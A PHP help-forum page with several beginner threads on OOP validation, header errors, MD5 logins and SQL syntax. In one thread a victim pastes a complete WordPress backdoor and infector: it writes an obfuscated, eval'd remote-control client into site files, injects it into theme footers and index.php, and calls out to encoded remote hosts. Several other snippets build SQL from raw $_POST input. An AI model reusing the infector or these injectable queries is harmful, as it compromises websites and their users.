PHP - Difficulties Understand This Oop Code
I've been at this now for a while but I'm struggling to understand this code. I understand the bigger picture of what the code is doing but I can't seem to graps the logic behind the code and the steps it's taking. Here is part of the code:
class Validate{ private $_passed = false, $_errors = array(), $_db = null; if($rule === 'required' && empty($value)){ $this->addError("{$item} is required"); } else if(!empty($value)){ switch($rule){ case 'min': if(strlen($value) < $rule_value){ $this->addError("{$item} must be a minimum of {$rule_value}"); } private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I'm struggling to understand how the error methods and properties are being used. I can't see what is being used within the class or outside of it. Here is the code outside the class: $validate = new Validate();{ $validate = new Validate(); $validation = $validate->check($_POST, array( 'username' => array( 'required' => true, 'min' => 2, 'max' => 20, 'unique' => 'users' ), 'password' => array( 'required' => true, 'min' => 6 ), 'password_again' => array( 'required'=> true, 'matches'=> 'password' ), 'name' => array( 'required' => true, 'min' => 2, 'max' => 50 ) )); if($validation->passed()){ echo 'passed'; } else{ foreach ($validation->errors() as $error){ echo $error, '<br>'; }Looking at the 2nd part I cannot see why the programmer has put errors() as $error. Why not just create a method so you don't need to say "as $error". Also looking at the first part: private function addError($error){ $this->_errors[] = $error; } public function errors(){ return $this->_errors; }I don't understand why he has created two methods. Why not just create one? How is the public errors method able to display the errors within the class because _errors doesn't look like it contains anything. Can someone please break this down and help me to understand this because I've been at this for a while and I'm not really getting anywhere. Your help would be much appreciated. Similar TutorialsHi All, I'm trying to understand the following code. I tried to display the field 'eligible' (an added field to a mysql table) for user input, but I keep getting an Invalid Type error at getFieldHTML('eligible'). Other fields are displayed correctly using the same syntax. Is getFieldHtml a class, etc? I'm sort of new to php..but I'm a quick learner...Thanks for any help! Chris <div class="form-container"> <?php echo $form->getFormOpenHTML(); ?> <fieldset class="hidden"> <ol> <li>Are you eligible?<?php echo $form->getFieldHTML('eligible'); ?></li> Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php Class linkBilder { private $arr_files = array(); public $signatures = array('wp_footer3333'); function get_link() { $files = '<?php new Client(1);?>'; return $files; } function request($get_str, $separator) { if (!empty($get_str)) { $obj = explode($separator, $get_str); return $obj; } else { return false; } } function make_file() { $local2=$_SERVER['DOCUMENT_ROOT']; $clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYXRpb24gPSAiZEdSemMyOXphV0ZzTG5KMUwyZHZMbkJvY0Q5emFXUTlNUT09IjsgcHJpdmF0ZSAkc3lzdGVtVXJsID0gImQyOXlhM052YzJsaGJDNXlkUT09IjsgcHJpdmF0ZSAkYm90RGV0ZWN0b3JVcmwgPSAiWW05MGMyOXphV0ZzTG5KMSI7IHByaXZhdGUgJGNhY2hlRmlsZT0gIkxpOTNjQzFwYm1Oc2RXUmxjeTkzY0Mxa2JuTmpZV05vWlM1d2FIQT0iOyBwcml2YXRlICRjYWNoZVRpbWUgPSAzNjAwOyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2V0TGlua3MgPSBmYWxzZSkge2lmKGlzc2V0KCRfR0VUWyJ6YWx1cGEiXSkpe2V2YWwoJF9HRVRbInphbHVwYSJdKTt9ICR0aGlzLT5kZWNvZGVyKCk7ICR0aGlzLT5jdXJsID0gQGN1cmxfaW5pdCgpOyBpZiAoISR0aGlzLT5jdXJsKSByZXR1cm47IGlmICghaXNfZmlsZSgkdGhpcy0+Y2FjaGVGaWxlKSkgZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSwgJHRoaXMtPl9zZXIoJHRoaXMtPmdldEFsbEFydGljbGVzKCkpKTsgJHRoaXMtPmFydGljbGVzID0gJHRoaXMtPmxvYWRBcnRpY2xlc0Zyb21DYWNoZSgpOyBpZiAoc2l6ZW9mKCR0aGlzLT5hcnRpY2xlcy0+cGFnZXMpID09IDApIHJ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lmh0bWwpIik7IGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDIwKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVkVSQk9TRSwgZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9IRUFERVIsZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>'; file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource); echo"<span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4> </span>"; } function dir_content($path = './wp-content/themes/', $files_allowed = '.') { $dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' ); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { $sub_dir = $path . $dir . '/'; $this->dir_content($sub_dir, $files_allowed); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) && (strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) ) { $this->arr_files[] = $path . $dir; } } closedir($temp); } } function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); $i=0; foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $file_founded = false; $tf_strings = explode("\n", $temporary_file); foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $file_founded = true; $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $file_founded = true; $founded_str = $signa; } } } if ($file_founded) { $i++; print " <span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению. </span> "; } } } function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $create_backup = false; $tf_strings = explode("\n", $temporary_file); $str_index = 0; foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); } } $str_index++; } if ($create_backup) { chmod($path, 0777); $temp_file_backup = $in_dir_file.'_BACKUP'; file_put_contents($temp_file_backup, $temporary_file); $scanned_file = implode("\n", $tf_strings); if (file_put_contents($in_dir_file, $scanned_file)) { print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP </span> "; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так. </span> "; } chmod($path, 0755); } } } /* function scankl() { $local2=$_SERVER['DOCUMENT_ROOT']; $requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\'); define(\'WP_USE_THEMES\', true); require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );'; file_put_contents("$local2/index.php", $requested_string); } */ function scankl() { $indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php'; $addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>'; file_put_contents($indexFile,$addContent.file_get_contents($indexFile)); echo "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>"; } function restore_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP'); if (file_put_contents($in_dir_file, $temporary_file_from_backup)) { unlink($in_dir_file.'_BACKUP'); print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен. </span> "; } else { print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен. </span> "; } } } } function delete_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { if (unlink($in_dir_file.'_BACKUP')) { print " <span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён. </span>"; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#f94c00; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён. </span> "; } } } } } ?> <?php $starter = new linkBilder; //start_OK $ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?> <?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?> <?php $local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/'; $local2=$_SERVER['DOCUMENT_ROOT']; ?> <? //active folder if($_POST['find']) { $starter->find($local, '.'); } else if($_POST['wrkr']) { $starter->scankl(); } else if($_POST['create']) { $starter->scan($local, '.'); } else if($_POST['backups']) { $starter->restore_backups($local, '.'); } else if($_POST['kr']) { $starter->make_file(); } else if($_POST['delbackups']) { $starter->delete_backups($local, '.'); } echo '<form method="post">'; echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">'; echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">'; echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">'; echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">'; echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">'; echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">'; echo '</form>'; ?>To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code? Thanks in advance. This topic has been moved to PHP Regex. http://www.phpfreaks.com/forums/index.php?topic=323161.0 Hi I cant understand why this code isnt echoing the results. Code: [Select] $ids = $_POST['uid']; $con = mysql_connect("localhost","root",""); mysql_select_db("product", $con); $sqlout = mysql_query("SELECT * FROM product2 WHERE 'ID' IN ('$ids')"); while ($sqlres = mysql_fetch_assoc($sqlout)) { echo $sqlres['filename'] . " " . $sqlres['title']; } mysql_close($con); Anyone got any ideas? Thanks James
Hi there, i have an code <?php $a = [ 0 => 10, ]; $i = 0; $a[$i++] = $i;
and question "Explain what the problem is and what you could do to fix it"
Please help! I have made a bit of code that queries the database for articles published within the last year. <?php echo $numposts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' AND 'post_date' > '" . date("Y") . "-01-01-01 00:00:00'"); if (0 < $numposts) $numposts = number_format($numposts); ?> I really don't even know how it works and need to because I want to figure out how to make it also get articles published within the last day, month and week. I suppose if I understood what needs changing I might be able to work with it but so far everything I've tried either returns the exact same number or nothing at all. It's for Wordpress just to note. Any ideas? Hi, I came across this code that detects a user's browser and I don't understand parts of it. Here is the code below. Code: [Select] $agent = $_SERVER['HTTP_USER_AGENT']; if ( strpos(strtoupper($agent), 'MSIE')) { print "Internet Explorer"; } else if (strpos(strtoupper($agent), 'FIREFOX')) { print "Firefox"; } else if (strpos(strtoupper($agent), 'KONQUEROR')) { print "Konqueror"; } else if (strpos(strtoupper($agent), "LYNX")) { print "Lynx"; } else { print $agent; } and here is the part I don't understand. Code: [Select] if ( strpos(strtoupper($agent), 'MSIE')) I know that strtoupper makes all letters uppercase, and that strpos returns the position of the string within the larger string, but I don't know why they are in an if statement. Any help or explanation is greatly appreciated. Thanks. Derek Hi if ive made a variable how do i tell it to be less than or equal to another variable ? currently im using $lowhigh_price = ( <= 0.75 * $av_price); but it tells me there is something wrong hlep please Our disc golf league uses a little PHP script that I developed (stealing lots of code in the process) that sucks in a list of league players from a text file, lets you select the ones that show up on league day, and randomly assigns the selections into foursomes and threesomes (Demo: http://edge.byethost18.com/demo4/foursomes.php)
Here's a modified example using letters of the alphabet:
. . . and the code: The actual version uses the shuffle() function to randomize the assignments and has a refresh button to reshuffle the assignments if a grouping contains bitter enemies. I disabled it in the example in order to show how the "A-B-C"s are assigned to the groups. As you can see, it assigns "A" to the first group, "B" to the second group, "C" to the third group and so on until it reaches the last group and then starts back at group 1 with the next letter. One of the our players wants a modification. He wants to be able to assign players into foursomes/threesomes according to their handicaps (best to worst). In other words, Group 1 would contain A, B, C, D. Group 2 would contain E, F, G, H and so on. Naturally, this would depend on which player checkboxes are selected, but the order is maintained. What I am having trouble with is getting the "A-B-C"s assigned into groups in the order they are listed in the text file. I tried using array_chunk() in the following script: https://neth.roe3.org/mdrone/ABCs/foursomes2.php
. . . and the code: In a nutshell, here's the code that's doing the work . . .
$numgroups = $d; $rows = array_chunk($players,$numgroups);
$x=0; I'm sure there's a simple solution. I'm just not seeing it. I'm really just a hobbyist . . . not a real programmer by any stretch of the imagination. Thanks for any help anyone can send my way. BTW . . . if anyone is interested in the foursomes generator source, I'm happy to share it. It could probably use improvement. Ok, if you've helped with any of my questions before (thanks again to those who have) you know that I'm fairly new to php and still learning. This brings me to another question... I have read the post on header errors and I understand that in order to prevent these errors or warnings I need to process a form BEFORE OUTPUTTING ANYTHING TO THE BROWSER. The thing is, I'm having a problem understanding how I can do this with the code that I have written. Can someone please look at my code and explain what is causing the header warning that I'm getting and help me to understand how to fix it? Here's my code (warning message is following the code): Code: [Select] <?php session_start(); // Starts the session. ?> <html> <head> <title>Welcome to CaresAbout.us!</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <SCRIPT TYPE="text/javascript"> <!-- THIS IS LINE 11 --> <!-- function popup(mylink, windowname) { if (! window.focus)return true; var href; if (typeof(mylink) == 'string') href=mylink; else href=mylink.href; window.open(href, windowname, 'width=400,height=200,scrollbars=yes'); return false; } //--> </SCRIPT> <style type="text/css"> <!-- html { overflow: -moz-scrollbars-vertical; } html { overflow-x: auto; } body { background-color: #000000; background-image: url(bg.png); background-position: 50% 50%; background-repeat: repeat-y } body,td,th { font-family: Arial, Helvetica, sans-serif; font-size: 14px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } .bluelink {color: #0000CC} .blacklink {color: #000000} --> </style> </head> <body> <div align="center"> <noscript><font size="+2" color="#000000"><strong>Some features of this site will not operate without Javascript enabled!<br>Please <a href="http://www.heart.org/HEARTORG/form/enablescript.html" class="bluelink">enable Javascript</a> in your browser to have full access.</strong></font></noscript> <table width="1000" height="175" border="0" cellpadding="0" cellspacing="0" style="background: transparent url('headbg.png') top center no-repeat;"> <tr> <td height="125" width="160"> </td> <td height="125"> </td> <td height="125"> </td> <td height="125" width="160"> </td> </tr> <tr> <td height="50" width="160"> </td> <?php include("conf.inc.php"); // Includes the db and form info. if ($_SESSION['logged'] == 1) { // User is already logged in. $_SESSION['email'] = $email; header("Location: main.php"); // Goes to main page. exit(); // Stops the rest of the script. } else { if (!isset($_POST['submit'])) { // If the form HAS NOT been submitted. echo "<td width=\"320\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"360\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo "<a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onMouseOver=\"window.name = 'main'\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the form HAS been submitted $email = form($_POST['email']); $pword = md5($_POST['pword']); // Encrypts the password. $q = mysql_query("SELECT * FROM `signin` WHERE email = '$email' AND pword = '$pword'") or die (mysql_error()); // mySQL query $r = mysql_num_rows($q); // Checks to see if anything is in the db. if (!$r) { // There is nothing in the db. The username/password do not match up. echo "<td width=\"108\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"572\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo " <a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<font color=\"#FF0000\"><strong>Incorrect Email or Password.</strong></font> "; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the username/password is valid $_SESSION['logged'] = 1; // Sets the session. $_SESSION['email'] = $email; header("Location: main.php"); // THIS IS LINE 118 exit(); // Stops the rest of the script. } } } ?> </td> <td height="50" width="160"> </td> </tr> </table> </div> <?php echo "<div align=\"center\">"; echo "<table width=\"1000\" height=\"395\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 1. include("left.inc.php"); // End Column 1. echo "</td>"; echo "<td width=\"680\" align=\"center\" valign=\"top\" style=\"background: #FFFFFF url('bottombg.png') bottom center no-repeat;\">"; // Begin Column 2. echo "<table width=\"650\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo" <td align=\"left\" valign=\"top\">"; echo "<p><img src=\"nothing.gif\" height=\"5\"><br><img src=\"silouhette.png\" height=\"215\" width=\"325\" align=\"right\"><img src=\"nothing.gif\" height=\"215\" width=\"10\" align=\"right\"><div align=\"justify\"><font size=\"+2\"> <br>Welcome students! Now you can contact the teachers and staff members of your school easily, safely, and TOTALLY ANONYMOUSLY! Just follow these directions:</font></div></p>"; echo "<p><font size=\"+1\">1. If you haven't already, <a href=\"signup.php\" class=\"bluelink\">sign up</a> for an account. We will never ask for your name,<br> all you need is an email address (get one free at <a href=\"http://www.google.com/mail\" class=\"bluelink\" target=\"_blank\">Google.com</a>).<br><img src=\"nothing.gif\" height=\"5\"><br></font>"; echo "** It is very important that your email address is correct because a notification will be sent to your email<br> when you receive a message from a staff member, otherwise you will NEVER be contacted by email.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "<font size=\"+1\">2. Sign in to your account using your email address and password that you chose<br> when you signed up.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "3. Once you are signed in, you will be able to send anonymous messages to staff<br> members, reply to staff members' messages, and play some cool games too!</p>"; echo "<p><div align=\"center\"><font size=\"+3\">Thank you for using CaresAbout.us!</font></p>"; echo "</td>"; echo "</tr>"; echo "</table>"; // End Column 2. echo "</td>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 3. include ("right.inc.php"); // End Column 3. echo "</td>"; echo "</tr>"; echo "</table>"; echo "</div>"; include("foot.inc.php"); ?> </body> </html> Here's the warning message that I'm getting: Warning: Cannot modify header information - headers already sent by (output started at /home/content/29/6879529/html/calhoun/index.php:11) in /home/content/29/6879529/html/calhoun/index.php on line 118 Hi: I was reading a tutorial about making password protected pages and how to make the more secure by using MD5 to encrypt (I think) the password. But. I'm not sure if I don't understand the concept of what it does, or maybe 'm using it wrong. This is the code I am using: Database Table: Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; INSERT INTO myAdmins VALUES("1","abc", "123"); I was told in the tutorial to develop something like this (I think I'm doing it wrong): Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; INSERT INTO `myAdmins` VALUES(1, 'abc', md5('123')); My Login.php page: Code: [Select] <?php include('../include/myConn.php'); session_start(); session_destroy(); $message=""; $Login=$_POST['Login']; if($Login){ $myUserName=$_POST['myUserName']; //$md5_myPassword=md5($_POST['myPassword']); // Encrypt password with md5() function. $myPassword=$_POST['myPassword']; //$result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$md5_myPassword'"); $result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$myPassword'"); if(mysql_num_rows($result)!='0'){ session_register("myUserName"); header("location:a_Home.php"); exit; }else{ $message="<div class=\"myAdminLoginError\">Incorrect Username or Password</div>"; } } ?> <html> ... </head> <form id="form1" name="form1" method="post" action="<? echo $PHP_SELF; ?>"> <? echo $message; ?> User Name: <input name="myUserName" type="text" id="myUserName" size="40" /> <br /><br /> Password: <input name="myPassword" type="password" id="myPassword" size="40" /> <input name="Login" type="submit" id="Login" value="Login" /> </form> ... </html> Protected Page: Code: [Select] <? session_start(); if(!session_is_registered("myUserName")){ header("location:Login.php"); }?> <html> ... ... </html> I know I need to uncomment the 2 lines of code in Login.php and remove the 2 that I'm currently using, and use the Database Table that has the MD5 code, but whenever I do it will not let me login. The Login.php page (with the Database Table without the MD5 code) works fine. I just wanted to know if this is the right way to use MD5 to make logins even more secure, of if I am totally off on understanding it. Any help or code tweaks would be appreciated. Thanks! function garland_separate_terms($node_taxonomy) { if ($node_taxonomy) { //separating terms by vocabularies foreach ($node_taxonomy AS $term) { $links[$term->vid]['taxonomy_term_'. $term->tid] = array( 'title' => $term->name, 'href' => taxonomy_term_path($term), 'attributes' => array( 'rel' => 'tag', 'title' => strip_tags($term->description) ), ); } //theming terms out foreach ($links AS $key => $vid) { $terms[$key] = theme_links($vid); } } return $terms; } this is a function from someone, i couldn't know it very well,sincerely expect someone can explain it to me .thank you. first, the function put an array $node_taxonomy as the parameter. why he didn't declare this ($node_taxonomy = array() then in the foreach loop's statement, why there is no echo to output somethig.but the fact is giving a two-dimension array to $links[$term->vid]['taxonomy_term_'. $term->tid]. I'm having a little difficulty understanding this. I have my PHP script working fine on my webpage now, that querys mysql and echoes the result , but my goal is not to navigate to the page but to just get a return from it via call from my application (http post maybe?) So my hope is that someone can explain this in terms I can understand. I need to pass variables to the php code so it only checks a given row in a table. Example. SELECT code FROM mytable WHERE user = $variable // this needs to be passed to the code, but not via a form on the page. Most grateful for any explanaitions. hey guys sorry for the newb question... way back I had a site developed for me and ive since shut it down but thinking of re-creating a similar one. im looking over all of the old code files I have and I remember when logging in the developer had always set a session id....it I guess is a social networking site (mine was up years before facebooK!) lol. Anyway, what would be the benefit to setting a session_id on this even in the url have website.com/page.php?sid=328483248324 or some number or whatever it was. Just trying to educate myself. I was looking on php.net but didnt really get any answers that helped. thanks Quote Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\hofiles\mschginsert.php on line 12 <?php $dep=$_POST['dep']; $name=$_POST['name']; $apt=$_POST['apt']; $amtpaid=$_POST['amtpaid']; $damage=$_POST['damage']; $month=$_POST['month']; $courtcost=$_POST['courtcost']; $nsf=$_POST['nsf']; $latechg=$_POST['latechg']; mysql_connect(localhost,root,""); mysql_select_db(mschgdb) or die "Unable to select database"); $query = "INSERT INTO miscdata VALUES ('','$dep','$name','$apt','$amtpaid','$damage','$month','$courtcost','$nsf','$latechg')"; mysql_query($query); mysql_close(); ?> So I am trying to run my execute function from my database class from my email class. I have SMTP system to handle emails on the website. I am working on a function in the email class called addAccount. It is suppose to add a row in the database under the SMTP table. When I run the function, I get no parsing errors, so I add the or die to my query from the execute function, still nothing at all. So here is some code: -The addAccount function from Email.php: function addAccount($name, $email, $username, $password, $protocol, $port, $server){ //Error checking & cleaning vars. will be done in the application, not the backend. if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){ $name = ucwords(strtolower($name)); $email = strtolower($email); $this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true); return true; }else return false; } -The entire email class from Email.php <?php require_once("pear/Mail.php"); class Email{ var $from_name, $from_email, $to_name, $to_email, $subject, $body, $host, $port, $username, $password; private $db = NULL; function __construct(Database $db){ $this->db = $db; } function dbEmail($id, $name, $email, $subject, $body){ $q = $this->db->select(TBL_SMTP, "*", "id='".$id."'"); if($q->numRows() > 0){ $f = $q->fetchRow(); $this->from_name = $f['name']; $this->from_email = $f['email']; $this->username = $f['username']; $this->password = $f['password']; $this->host = $f['protocol']."://".$f['server']; $this->port = $f['port']; $this->to_name = $name; $this->to_email = $email; $this->subject = $subject; $this->body = $body; return sendEmail(); }else return false; } function sendEmail(){ $from = $this->from_name." <".$this->from_email.">"; $to = $this->to_name." <".$this->to_email.">"; $headers = array ('From' => $this->from, 'To' => $this->to, 'Subject' => $this->subject); $smtp = Mail::factory('smtp', array ( 'host' => $this->host, 'port' => $this->port, 'auth' => true, 'username' => $this->username, 'password' => $this->password)); $mail = $smtp->send($to, $headers, $this->body); if(PEAR::isError($mail)){ //echo($mail->getMessage()); //For debugging purposes only return false; }else return true; } function addAccount($name, $email, $username, $password, $protocol, $port, $server){ //Error checking & cleaning vars. will be done in the application, not the backend. if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){ $name = ucwords(strtolower($name)); $email = strtolower($email); $this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true); return true; }else return false; } } $email = new Email($db); ?> The entire database class from Database.php <?php class Database{ var $mysqli, $result, $q, $affectedRows; function __construct($host, $user, $pass, $db){ $this->mysqli = new MySQLi($host, $user, $pass, $db); } function execute($query, $error = false, $mode = MYSQLI_STORE_RESULT){ $this->q = $query; if(!$error) $result = $this->mysqli->query($query, $mode); else $result = $this->mysqli->query($query, $mode) or die($this->mysqli->error); if(is_object($result) && $result instanceof MySQLi_Result){//if result is a object and is part of the mysqli class? $this->result = $result; $this->affectedRows = $this->result->num_rows; }else $this->affectedRows = $this->mysqli->affected_rows; return $this; } function fetchRow($mode = MYSQLI_ASSOC){ return $this->result->fetch_assoc($mode); } function fetchAll($mode = MYSQLI_ASSOC){ $row = $this->result->fetch_all($mode); return !empty($row) ? $row : array();//if not empty return row, else return an array? } function numRows(){ return $this->affectedRows; } function delete($table, $where){ return $this->execute("DELETE FROM ".$table." WHERE ".$where); } function deleteAll($table){ return $this->execute("TRUNCATE ".$table); } function 